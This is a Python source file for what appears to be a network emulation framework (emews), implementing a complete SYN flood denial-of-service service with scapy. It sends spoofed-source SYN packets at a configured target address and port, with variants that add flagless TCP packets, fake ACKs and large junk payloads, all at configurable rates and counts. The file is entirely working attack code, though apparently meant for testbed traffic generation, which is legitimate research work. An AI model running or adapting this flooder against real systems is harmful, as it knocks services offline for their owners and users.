"""SYN flooder."""
import random
from typing import Dict

from scapy.layers.inet import IP, TCP
from scapy.packet import Raw
from scapy.sendrecv import send
from scapy.volatile import RandIP, RandShort

from emews.api.service import Service


class DefaultService(Service):
    """SYN flooder.  No C&C."""

    __slots__ = ('_target_address', '_target_port', '_start_delay', '_send_count', '_send_delay', '_total_packets',
                 '_payload_size', '_variant', '_pkt_count')

    def __init__(self, config: Dict):
        """Constructor."""
        super().__init__()

        self._target_address: str = config['target_address']  # IP address of target node to flood
        self._target_port: int = config['target_port']  # port number of target node to flood
        self._start_delay: int = config['start_delay']  # wait this number of seconds to start flood
        self._send_count: float = config['send_count']  # send this many SYN packets in a single instance
        self._send_delay: float = config['send_delay']  # send SYN pkts at this interval (per instance)
        self._total_packets: int = config['total_packets']  # total number of packets to send
        self._payload_size: int = config['payload_size']  # size of payload
        self._variant: int = config.get('variant', 0)  # variant of SYN flood (0 = normal SYN flood)

        self._pkt_count = 0

    def service_run(self):
        self.logger.info("Params: target address[port]: %s[%d], packet send delay: %.2f, payload size: %d, "
                         "variant: %d", self._target_address, self._target_port, self._send_delay,
                         self._payload_size, self._variant)

        ip = IP(src=RandIP("10.170.0.0/16"), dst=self._target_address)  # IP layer of pkt
        tcp = TCP(sport=RandShort(), dport=self._target_port, flags="S")  # TCP layer of pkt

        if self._payload_size > 0:
            # add a payload
            payload = Raw(b"A" * self._payload_size)
            pkt = ip / tcp / payload
        else:
            pkt = ip / tcp  # no payload

        send_count = self._send_count
        send_delay = self._send_delay
        total_packets = self._total_packets
        packet_count = 0

        sleep = self.sleep

        if self._start_delay > 0:
            self.logger.info("Will wait %d seconds to start SYN flood", self._start_delay)
            sleep(self._start_delay)  # sleep until flood time

        self.logger.info("Starting SYN flood (total packets to send: %d)", total_packets)

        if self._variant == 0:
            # default variant
            while packet_count < total_packets:
                # upon interrupt, sleep() will raise ServiceInterrupted, invoking service_exit()
                send(pkt, verbose=0, count=send_count)
                packet_count += send_count
                self._pkt_count = packet_count
                sleep(send_delay)

        elif self._variant == 1:
            # SYN flood with TCP packets in the mix
            # create the general TCP packets
            ip_v1 = IP(src=RandIP("10.171.0.0/16"), dst=self._target_address)  # IP layer of pkt
            tcp_v1 = TCP(sport=RandShort(), dport=self._target_port, flags=0)  # TCP layer of pkt (no flag)

            if self._payload_size > 0:
                # add a payload
                payload_v1 = Raw(b"A" * (self._payload_size + 20))  # make the payload a little bigger
                pkt_v1 = ip_v1 / tcp_v1 / payload_v1
            else:
                pkt_v1 = ip_v1 / tcp_v1  # no payload

            send_count *= 2

            while packet_count < total_packets:
                # upon interrupt, sleep() will raise ServiceInterrupted, invoking service_exit()
                send(pkt, verbose=0, count=send_count)
                send(pkt_v1, verbose=0, count=send_count)
                packet_count += send_count
                self._pkt_count = packet_count
                sleep(send_delay)

        elif self._variant == 2:
            # SYN flood with Fake ACK response - server will drop due to incorrect seq num
            target_address = self._target_address
            target_port = self._target_port

            rand_ip = RandIP("10.170.0.0/16").ip.choice
            rand_port = random.randrange

            while packet_count < total_packets:
                # upon interrupt, sleep() will raise ServiceInterrupted, invoking service_exit()
                new_rand_ip = rand_ip()  # need to know what the src IP is for the ACK
                new_rand_port = rand_port(0, 2**16)  # need to know what the src port is for the ACK

                ip_syn = IP(src=new_rand_ip, dst=target_address)  # IP layer of pkt
                tcp_syn = TCP(sport=new_rand_port, dport=target_port, flags="S")  # TCP layer of pkt
                send(ip_syn / tcp_syn, verbose=0, count=1)
                sleep(0.15)  # sleep enough to send the ACK without retransmission

                ip_ack = IP(src=new_rand_ip, dst=target_address)  # IP layer of pkt
                tcp_ack = TCP(sport=new_rand_port, dport=target_port, flags="A")  # TCP layer of pkt
                send(ip_ack / tcp_ack, verbose=0, count=1)

                packet_count += 2
                self._pkt_count = packet_count

                sleep(send_delay)

        elif self._variant == 3:
            # SYN flood with unsolicited TCP packets of large payload
            ip_v3 = IP(src=RandIP("10.171.0.0/16"), dst=self._target_address)  # IP layer of pkt
            tcp_v3 = TCP(sport=RandShort(), dport=self._target_port, flags=0)  # TCP layer of pkt (no flag)

            # add a payload
            payload_v3 = Raw(b"A" * 1200)  # fixed payload
            pkt_v3 = ip_v3 / tcp_v3 / payload_v3

            send_count *= 2

            while packet_count < total_packets:
                # upon interrupt, sleep() will raise ServiceInterrupted, invoking service_exit()
                send(pkt, verbose=0, count=send_count)
                send(pkt_v3, verbose=0, count=send_count)
                packet_count += send_count
                self._pkt_count = packet_count
                sleep(send_delay)

        self.service_exit()

    def service_exit(self) -> None:
        self.logger.info("Stopped SYN flood, total packets sent: %d", self._pkt_count)
